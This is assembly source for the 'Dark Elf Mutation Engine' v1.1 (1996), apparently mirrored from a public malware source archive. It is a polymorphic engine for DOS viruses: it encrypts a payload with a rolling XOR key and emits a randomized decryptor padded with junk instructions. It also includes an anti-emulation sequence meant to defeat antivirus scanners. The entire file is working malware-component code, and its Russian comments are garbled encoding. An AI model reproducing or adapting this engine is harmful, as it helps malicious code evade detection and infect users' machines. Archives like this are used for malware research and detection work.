mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
TheDuchy
822 lines
13 KiB
NASM
822 lines
13 KiB
NASM
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
; ³ Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 ³
|
|
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
;
|
|
;¯®¤¯à®£à ¬¬ë :
|
|
; DEME - á ¬ Mutation ¨ ¥áâì
|
|
; Randomize - î§ ¥â ¯®àâ 40h
|
|
; RND - AX = RND(65536)
|
|
|
|
PUSHSTATE
|
|
IDEAL
|
|
LOCALS @@
|
|
DEME_MaxDecoderLen=1500
|
|
proc DEME
|
|
;� à ¬¥âàë :
|
|
;es:di - ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á १ã«ìâ â
|
|
; à §¬¥à_¡ãä¥à = à §¬¥à_¨á室®£®_ª®¤ + 1500
|
|
;ds:si - ¤à¥á ª®¤ , ª®â®àë© ¥®¡å®¤¨¬® § è¨ä஢ âì
|
|
;dx - ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪 (¯®¤®¡® ORG xxxx)
|
|
;bx - à §¬¥à ¨á室®£® ª®¤ (¢ ¡ ©â å)
|
|
;‚®§¢à é ¥â :
|
|
;cx - ¤«¨ ¯®«ã祮£® ª®¤ (¢ ¡ ©â å)
|
|
pushf
|
|
push bx di si ds
|
|
push cs
|
|
pop ds
|
|
cld
|
|
inc bx
|
|
shr bx,1
|
|
mov [DEME_CodeLen],bx
|
|
mov [DEME_Origin],dx
|
|
mov [DEME_BuffOffs],di
|
|
call Randomize
|
|
call DEME_ChooseRegs
|
|
call DEME_GenProlog
|
|
call DEME_GenCrypt
|
|
call DEME_GenEpilog
|
|
pop ds si
|
|
call DEME_Encode
|
|
mov cx,di
|
|
pop di bx
|
|
sub cx,di
|
|
popf
|
|
ret
|
|
endp DEME
|
|
|
|
R_AX=00000000b
|
|
R_CX=00000001b
|
|
R_DX=00000010b
|
|
R_BX=00000011b
|
|
R_SP=00000100b
|
|
R_BP=00000101b
|
|
R_SI=00000110b
|
|
R_DI=00000111b
|
|
|
|
M_AX=00000001b
|
|
M_CX=00000010b
|
|
M_DX=00000100b
|
|
M_BX=00001000b
|
|
M_SP=00010000b
|
|
M_BP=00100000b
|
|
M_SI=01000000b
|
|
M_DI=10000000b
|
|
M_INDEX=M_BX+M_SI+M_DI
|
|
M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
|
|
|
|
DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
|
|
DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
|
|
DEME_Date db ??date,0,??time,0
|
|
|
|
proc DEME_Encode near
|
|
push ax bx cx dx si
|
|
mov cx,[DEME_CodeLen]
|
|
mov dx,[DEME_Key]
|
|
@@1:
|
|
lodsw
|
|
xor ax,dx
|
|
stosw
|
|
add dx,[DEME_KeyAdd]
|
|
loop @@1
|
|
pop si dx cx bx ax
|
|
ret
|
|
endp DEME_Encode
|
|
|
|
proc DEME_ChooseRegs near
|
|
push ax
|
|
mov [DEME_MaskUsed],M_SP
|
|
mov al,M_INDEX
|
|
call DEME_GetAnyReg
|
|
mov [DEME_RegIndex],ax
|
|
mov al,M_ALL
|
|
call DEME_GetAnyReg
|
|
mov [DEME_RegCounter],ax
|
|
mov al,M_ALL
|
|
call DEME_GetAnyReg
|
|
mov [DEME_RegKey],ax
|
|
pop ax
|
|
ret
|
|
endp DEME_ChooseRegs
|
|
|
|
|
|
proc DEME_GenProlog near
|
|
push ax bx cx dx
|
|
call DEME_GenRandomSeq
|
|
call DEME_GenAntiWeb
|
|
|
|
mov bx,offset DEME_GenLoadIndex
|
|
mov cx,offset DEME_GenLoadKey
|
|
mov dx,offset DEME_GenLoadCounter
|
|
|
|
call DEME_MixRegs
|
|
call DEME_GenRandomSeq
|
|
call bx
|
|
call DEME_GenRandomSeq
|
|
call dx
|
|
call DEME_GenRandomSeq
|
|
call cx
|
|
call DEME_GenRandomSeq
|
|
|
|
pop dx cx bx ax
|
|
ret
|
|
endp DEME_GenProlog
|
|
|
|
|
|
proc DEME_GenAntiWeb
|
|
push ax bx cx
|
|
mov cl,[DEME_MaskUsed]
|
|
test cl,M_AX
|
|
je @@1
|
|
mov al,050h
|
|
stosb
|
|
call DEME_GenRandomSeq
|
|
@@1:
|
|
or [DEME_MaskUsed],M_AX
|
|
mov ax,41e4h
|
|
stosw
|
|
call DEME_GenRandomSeq
|
|
mov ax,1100010010001000b
|
|
stosw
|
|
call DEME_GenRandomSeq
|
|
mov ax,41e4h
|
|
stosw
|
|
call DEME_GenRandomSeq
|
|
mov ax,1100010000110000b
|
|
stosw
|
|
mov al,01110101b
|
|
stosw
|
|
mov bx,di
|
|
call DEME_GenRandomSeq
|
|
mov ax,4cb4h
|
|
stosw
|
|
mov ax,21cdh
|
|
stosw
|
|
call DEME_GenRandomSeq
|
|
mov ax,di
|
|
sub ax,bx
|
|
mov [es:bx-1],al
|
|
|
|
test cl,M_AX
|
|
je @@2
|
|
mov al,058h
|
|
stosb
|
|
call DEME_GenRandomSeq
|
|
@@2:
|
|
mov [DEME_MaskUsed],cl
|
|
pop cx bx ax
|
|
ret
|
|
endp DEME_GenAntiWeb
|
|
|
|
|
|
proc DEME_GenLoadIndex near
|
|
push ax
|
|
mov ax,[DEME_RegIndex]
|
|
or al,10111000b
|
|
stosb
|
|
mov [DEME_AddrBeg],di
|
|
stosw
|
|
pop ax
|
|
ret
|
|
endp DEME_GenLoadIndex
|
|
|
|
proc DEME_GenLoadKey near
|
|
push ax bx
|
|
call RND
|
|
mov bx,ax
|
|
mov [DEME_Key],ax
|
|
mov ax,[DEME_RegKey]
|
|
call DEME_GenLoadReg16
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenLoadKey
|
|
|
|
proc DEME_GenLoadCounter near
|
|
push ax bx
|
|
mov ax,[DEME_RegCounter]
|
|
mov bx,[DEME_CodeLen]
|
|
call DEME_GenLoadReg16
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenLoadCounter
|
|
|
|
proc DEME_GenCrypt near
|
|
push ax bx cx dx
|
|
mov [DEME_LoopAddr],di
|
|
|
|
call DEME_GenRandomSeq
|
|
call DEME_GenXorCmd
|
|
|
|
mov dx,offset DEME_GenIncIndex
|
|
mov bx,offset DEME_GenAddKey
|
|
mov cx,offset DEME_GenDecCounter
|
|
call DEME_MixRegs
|
|
call DEME_GenRandomSeq
|
|
call bx
|
|
call DEME_GenRandomSeq
|
|
call dx
|
|
call DEME_GenRandomSeq
|
|
call cx
|
|
call DEME_GenRandomSeq
|
|
call DEME_GenCloseCycle
|
|
call DEME_GenRandomSeq
|
|
pop dx cx bx ax
|
|
ret
|
|
endp DEME_GenCrypt
|
|
|
|
proc DEME_GenXorCmd near
|
|
push ax bx
|
|
mov al,2eh
|
|
stosb
|
|
mov al,00110001b
|
|
stosb
|
|
mov bx,[DEME_RegIndex]
|
|
cmp bx,R_BX
|
|
jne @@1
|
|
mov al,00000111b
|
|
@@1:
|
|
cmp bx,R_SI
|
|
jne @@2
|
|
mov al,00000100b
|
|
@@2:
|
|
cmp bx,R_DI
|
|
jne @@3
|
|
mov al,00000101b
|
|
@@3:
|
|
mov bx,[DEME_RegKey]
|
|
shl bl,3
|
|
or al,bl
|
|
stosb
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenXorCmd
|
|
|
|
proc DEME_GenIncIndex near
|
|
push ax bx
|
|
mov bx,[DEME_RegIndex]
|
|
call RND
|
|
and ax,3
|
|
or al,al
|
|
jne @@1
|
|
mov al,01000000b
|
|
or al,bl
|
|
stosb
|
|
stosb
|
|
jmp @@Exit
|
|
@@1:
|
|
dec al
|
|
jne @@2
|
|
mov al,10000001b
|
|
stosb
|
|
mov al,11000000b
|
|
or al,bl
|
|
stosb
|
|
mov ax,2
|
|
stosw
|
|
jmp @@Exit
|
|
@@2:
|
|
dec al
|
|
jne @@3
|
|
mov al,10000001b
|
|
stosb
|
|
mov al,11101000b
|
|
or al,bl
|
|
stosb
|
|
mov ax,-2
|
|
stosw
|
|
jmp @@Exit
|
|
@@3:
|
|
call DEME_GetUnusedReg
|
|
mov bx,2
|
|
call DEME_GenLoadReg16
|
|
mov bx,[DEME_RegIndex]
|
|
mov bh,al
|
|
shl bh,3
|
|
mov al,00000001b
|
|
stosb
|
|
mov al,11000000b
|
|
or al,bl
|
|
or al,bh
|
|
stosb
|
|
@@Exit:
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenIncIndex
|
|
|
|
proc DEME_GenAddKey near
|
|
push ax bx
|
|
mov bx,[DEME_RegKey]
|
|
call RND
|
|
mov [DEME_KeyAdd],ax
|
|
push ax
|
|
call RND
|
|
xor ah,ah
|
|
test al,00000100b
|
|
je @@1
|
|
neg [DEME_KeyAdd]
|
|
mov ah,00101000b
|
|
@@1:
|
|
mov al,10000001b
|
|
stosb
|
|
mov al,11000000b
|
|
xor al,ah
|
|
or al,bl
|
|
stosb
|
|
pop ax
|
|
stosw
|
|
@@Exit:
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenAddKey
|
|
|
|
proc DEME_GenDecCounter near
|
|
push ax bx
|
|
mov bx,[DEME_RegCounter]
|
|
call RND
|
|
and ax,3
|
|
or al,al
|
|
jne @@1
|
|
mov al,01001000b
|
|
or al,bl
|
|
stosb
|
|
jmp @@Exit
|
|
@@1:
|
|
dec al
|
|
jne @@2
|
|
mov al,10000001b
|
|
stosb
|
|
mov al,11000000b
|
|
or al,bl
|
|
stosb
|
|
mov ax,-1
|
|
stosw
|
|
jmp @@Exit
|
|
@@2:
|
|
dec al
|
|
jne @@3
|
|
mov al,10000001b
|
|
stosb
|
|
mov al,11101000b
|
|
or al,bl
|
|
stosb
|
|
mov ax,1
|
|
stosw
|
|
jmp @@Exit
|
|
@@3:
|
|
call DEME_GetUnusedReg
|
|
mov bx,1
|
|
call DEME_GenLoadReg16
|
|
mov bx,[DEME_RegCounter]
|
|
mov bh,al
|
|
shl bh,3
|
|
mov al,00101001b
|
|
stosb
|
|
mov al,11000000b
|
|
or al,bl
|
|
or al,bh
|
|
stosb
|
|
@@Exit:
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenDecCounter
|
|
|
|
proc DEME_GenCloseCycle near
|
|
push ax bx cx dx
|
|
call RND
|
|
and ax,3
|
|
shl ax,1
|
|
mov bx,ax
|
|
call [DEME_Clos1Tbl+bx]
|
|
call RND
|
|
test al,1
|
|
je @@1
|
|
mov al,10011100b
|
|
stosb
|
|
call DEME_GenRandomSeq
|
|
mov al,10011101b
|
|
stosb
|
|
@@1:
|
|
call [DEME_Clos2Tbl+bx]
|
|
call DEME_GenRandomSeq
|
|
call DEME_ClosJmp
|
|
call DEME_GenRandomSeq
|
|
call DEME_ClosJmpShort
|
|
call DEME_GenRandomSeq
|
|
pop dx cx bx ax
|
|
ret
|
|
endp DEME_GenCloseCycle
|
|
|
|
DEME_Clos1Tbl dw offset DEME_Clos11
|
|
dw offset DEME_Clos12
|
|
dw offset DEME_Clos13
|
|
dw offset DEME_Clos14
|
|
|
|
DEME_Clos2Tbl dw offset DEME_Clos21
|
|
dw offset DEME_Clos22
|
|
dw offset DEME_Clos21
|
|
dw offset DEME_Clos21
|
|
|
|
proc DEME_Clos11 near
|
|
push ax bx
|
|
mov al,10000001b
|
|
stosb
|
|
mov ax,[DEME_RegCounter]
|
|
or al,11111000b
|
|
stosb
|
|
xor ax,ax
|
|
stosw
|
|
pop bx ax
|
|
ret
|
|
endp DEME_Clos11
|
|
|
|
proc DEME_Clos12 near
|
|
push ax bx
|
|
mov al,10000001b
|
|
stosb
|
|
mov ax,[DEME_RegCounter]
|
|
or al,11111000b
|
|
stosb
|
|
xor ax,ax
|
|
inc ax
|
|
stosw
|
|
pop bx ax
|
|
ret
|
|
endp DEME_Clos12
|
|
|
|
proc DEME_Clos13 near
|
|
push ax bx
|
|
mov al,00001001b
|
|
stosb
|
|
mov ax,[DEME_RegCounter]
|
|
mov ah,11000000b
|
|
or ah,al
|
|
shl al,3
|
|
or al,ah
|
|
stosb
|
|
pop bx ax
|
|
ret
|
|
endp DEME_Clos13
|
|
|
|
proc DEME_Clos14 near
|
|
push ax bx
|
|
mov al,11110111b
|
|
stosb
|
|
mov ax,[DEME_RegCounter]
|
|
or al,11000000b
|
|
stosb
|
|
xor ax,ax
|
|
dec ax
|
|
stosw
|
|
pop bx ax
|
|
ret
|
|
endp DEME_Clos14
|
|
|
|
proc DEME_Clos21 near
|
|
push ax
|
|
mov al,01110100b
|
|
stosb
|
|
mov [DEME_JmpShort],di
|
|
stosb
|
|
pop ax
|
|
ret
|
|
endp DEME_Clos21
|
|
|
|
proc DEME_Clos22 near
|
|
push ax
|
|
mov al,01110010b
|
|
stosb
|
|
mov [DEME_JmpShort],di
|
|
stosb
|
|
pop ax
|
|
ret
|
|
endp DEME_Clos22
|
|
|
|
proc DEME_ClosJmp near
|
|
push ax
|
|
mov al,11101001b
|
|
stosb
|
|
mov ax,[DEME_LoopAddr]
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
stosw
|
|
pop ax
|
|
ret
|
|
endp DEME_ClosJmp
|
|
|
|
proc DEME_ClosJmpShort near
|
|
push ax bx
|
|
mov ax,di
|
|
mov bx,[DEME_JmpShort]
|
|
sub ax,bx
|
|
dec ax
|
|
mov [es:bx],al
|
|
pop bx ax
|
|
ret
|
|
endp DEME_ClosJmpShort
|
|
|
|
proc DEME_GenEpilog near
|
|
push ax bx dx
|
|
call RND
|
|
and ax,3fh
|
|
inc ax
|
|
@@1:
|
|
call DEME_GenTrash
|
|
dec ax
|
|
jnz @@1
|
|
mov bx,[DEME_AddrBeg]
|
|
mov dx,di
|
|
sub dx,[DEME_BuffOffs]
|
|
add dx,[DEME_Origin]
|
|
mov [es:bx],dx
|
|
pop dx bx ax
|
|
ret
|
|
endp DEME_GenEpilog
|
|
|
|
|
|
proc DEME_MixRegs near
|
|
push ax
|
|
call RND
|
|
test al,1
|
|
je @@1
|
|
xchg bx,cx
|
|
@@1:
|
|
test al,2
|
|
je @@2
|
|
xchg cx,dx
|
|
@@2:
|
|
test al,4
|
|
je @@3
|
|
xchg bx,dx
|
|
@@3:
|
|
pop ax
|
|
ret
|
|
endp DEME_MixRegs
|
|
|
|
|
|
proc Randomize near
|
|
push ax
|
|
in ax,40h
|
|
mov [seed1],ax
|
|
pop ax
|
|
ret
|
|
endp Randomize
|
|
|
|
proc RND near
|
|
push dx
|
|
mov ax,[seed]
|
|
xor ax,[seed1]
|
|
mul ax
|
|
mov al,dl
|
|
mov [seed],ax
|
|
pop dx
|
|
ret
|
|
endp RND
|
|
|
|
|
|
;ƒ¥¥à æ¨ï ª®¬ ¤
|
|
|
|
proc DEME_GenRandomSeq near
|
|
;ƒ¥¥à¨â ªãçã ¬ãá®à
|
|
push ax
|
|
call RND
|
|
and ax,0fh
|
|
inc ax
|
|
@@1:
|
|
call DEME_GenTrash
|
|
dec ax
|
|
jnz @@1
|
|
pop ax
|
|
ret
|
|
endp DEME_GenRandomSeq
|
|
|
|
proc DEME_GenTrash near
|
|
;ƒ¥¥à¨â '¬ãá®àãî' ª®¬ ¤ã
|
|
push ax bx
|
|
call RND
|
|
and ax,3
|
|
shl ax,1
|
|
mov bx,ax
|
|
call [DEME_TrashTbl+bx]
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenTrash
|
|
|
|
DEME_TrashTbl dw offset DEME_GenCmd1
|
|
dw offset DEME_GenCmd2
|
|
dw offset DEME_GenCmd3
|
|
dw offset DEME_GenCmd4
|
|
|
|
proc DEME_GenCmd1 near
|
|
;ƒ¥¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ¤ã ¨§¢à é îéãî AX
|
|
ret
|
|
push ax bx
|
|
test [DEME_MaskUsed],M_AX
|
|
jne @@Exit
|
|
call RND
|
|
and ax,7
|
|
mov bx,ax
|
|
mov al,[DEME_Cmds1+bx]
|
|
stosb
|
|
@@Exit:
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenCmd1
|
|
|
|
DEME_Cmds1 db 00110111b ;aaa
|
|
db 00111111b ;aas
|
|
db 10011000b ;cbw
|
|
db 00100111b ;daa
|
|
db 00101111b ;das
|
|
db 01001000b ;dec ax
|
|
db 01000000b ;inc ax
|
|
db 10011111b ;lahf
|
|
|
|
|
|
proc DEME_GenCmd2 near
|
|
;ƒ¥¥à¨â 1-®¯¥à ¤ãî ª®¬ ¤ã
|
|
push ax bx
|
|
call RND
|
|
and ax,0fh
|
|
mov bx,ax
|
|
shl bx,1
|
|
mov al,[DEME_Cmds2+bx]
|
|
stosb
|
|
mov bl,[DEME_Cmds2+bx+1]
|
|
call DEME_GetUnusedReg
|
|
or al,bl
|
|
stosb
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenCmd2
|
|
|
|
DEME_Cmds2 db 0d1h,11000000b ;rol
|
|
db 0d1h,11001000b ;ror
|
|
db 0d1h,11010000b ;rcl
|
|
db 0d1h,11011000b ;rcr
|
|
db 0d1h,11100000b ;shl
|
|
db 0d1h,11101000b ;shr
|
|
db 0ffh,11000000b ;inc
|
|
db 0ffh,11001000b ;dec
|
|
db 0f7h,11010000b ;not
|
|
db 0f7h,11011000b ;neg
|
|
db 0d3h,11000000b ;rol cl
|
|
db 0d3h,11001000b ;ror cl
|
|
db 0d3h,11010000b ;rcl cl
|
|
db 0d3h,11011000b ;rcr cl
|
|
db 0d3h,11100000b ;shl cl
|
|
db 0d3h,11101000b ;shr cl
|
|
|
|
proc DEME_GenCmd3 near
|
|
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã á ¥¯®á।áâ¢¥ë¬ § 票¥¬
|
|
push ax bx
|
|
mov al,[DEME_MaskUsed]
|
|
push ax
|
|
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ¤ ¤à㣨¥
|
|
call RND
|
|
xor ah,ah
|
|
mov bl,9
|
|
div bl
|
|
mov bl,ah
|
|
xor bh,bh
|
|
shl bx,1
|
|
mov al,[DEME_Cmds3+bx]
|
|
stosb
|
|
mov bl,[DEME_Cmds3+bx+1]
|
|
call DEME_GetUnusedReg
|
|
or al,bl
|
|
stosb
|
|
call RND
|
|
stosw
|
|
pop ax
|
|
mov [DEME_MaskUsed],al
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenCmd3
|
|
|
|
DEME_Cmds3 db 081h,11000000b ;add
|
|
db 081h,11010000b ;adc
|
|
db 081h,11101000b ;sub
|
|
db 081h,11110000b ;xor
|
|
db 0f7h,11000000b ;test
|
|
db 081h,11011000b ;sbb
|
|
db 081h,11001000b ;or
|
|
db 081h,11111000b ;cmp
|
|
db 081h,11100000b ;and
|
|
; db 0c7h,11000000b ;mov
|
|
|
|
|
|
proc DEME_GenCmd4 near
|
|
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã
|
|
push ax bx cx dx
|
|
|
|
call RND
|
|
xor ah,ah
|
|
mov bl,10
|
|
div bl
|
|
mov bl,ah
|
|
xor bh,bh
|
|
mov al,[DEME_Cmds4+bx]
|
|
stosb
|
|
|
|
call DEME_GetUnusedReg
|
|
shl al,3
|
|
mov dl,al
|
|
call RND
|
|
and al,00000111b
|
|
or al,11000000b
|
|
or al,dl
|
|
stosb
|
|
|
|
pop dx cx bx ax
|
|
ret
|
|
endp DEME_GenCmd4
|
|
|
|
DEME_Cmds4 db 003h ;add
|
|
db 013h ;adc
|
|
db 02bh ;sub
|
|
db 033h ;xor
|
|
db 085h ;test
|
|
db 01bh ;sbb
|
|
db 00bh ;or
|
|
db 03bh ;cmp
|
|
db 023h ;and
|
|
db 08bh ;mov
|
|
|
|
|
|
proc DEME_GetUnusedReg near
|
|
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
|
|
push bx
|
|
mov bl,[DEME_MaskUsed]
|
|
mov al,M_ALL
|
|
call DEME_GetAnyReg
|
|
mov [DEME_MaskUsed],bl
|
|
pop bx
|
|
ret
|
|
endp DEME_GetUnusedReg
|
|
|
|
|
|
proc DEME_GetAnyReg near
|
|
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥®© £à㯯ë
|
|
push bx cx
|
|
mov bl,al
|
|
not bl
|
|
or bl,[DEME_MaskUsed]
|
|
|
|
call RND
|
|
and ax,7
|
|
mov cl,al
|
|
mov ah,1
|
|
rol ah,cl
|
|
@@11:
|
|
test ah,bl
|
|
je @@12
|
|
inc al
|
|
and al,7
|
|
rol ah,1
|
|
jmp @@11
|
|
@@12:
|
|
or [DEME_MaskUsed],ah
|
|
and ax,7
|
|
pop cx bx
|
|
ret
|
|
endp DEME_GetAnyReg
|
|
|
|
|
|
proc DEME_GenLoadReg16 near
|
|
;ƒ¥¥à¨â § £à㧪ã ॣ¨áâà
|
|
;ax - ª ª®£®
|
|
;bx - 祬
|
|
push ax bx
|
|
and al,00000111b
|
|
or al,10111000b
|
|
stosb
|
|
mov ax,bx
|
|
stosw
|
|
pop bx ax
|
|
ret
|
|
endp DEME_GenLoadReg16
|
|
|
|
Seed dw 0
|
|
Seed1 dw 0
|
|
DEME_MaskUsed db 0
|
|
|
|
DEME_RegIndex dw 0
|
|
DEME_RegCounter dw 0
|
|
DEME_RegKey dw 0
|
|
|
|
DEME_Origin dw 0
|
|
DEME_BuffOffs dw 0
|
|
|
|
DEME_LoopAddr dw 0
|
|
DEME_JmpShort dw 0
|
|
DEME_CodeLen dw 0
|
|
DEME_Key dw 0
|
|
DEME_KeyAdd dw 0
|
|
DEME_AddrBeg dw 0
|
|
|
|
POPSTATE
|
|
|
|
|
|
|
|
|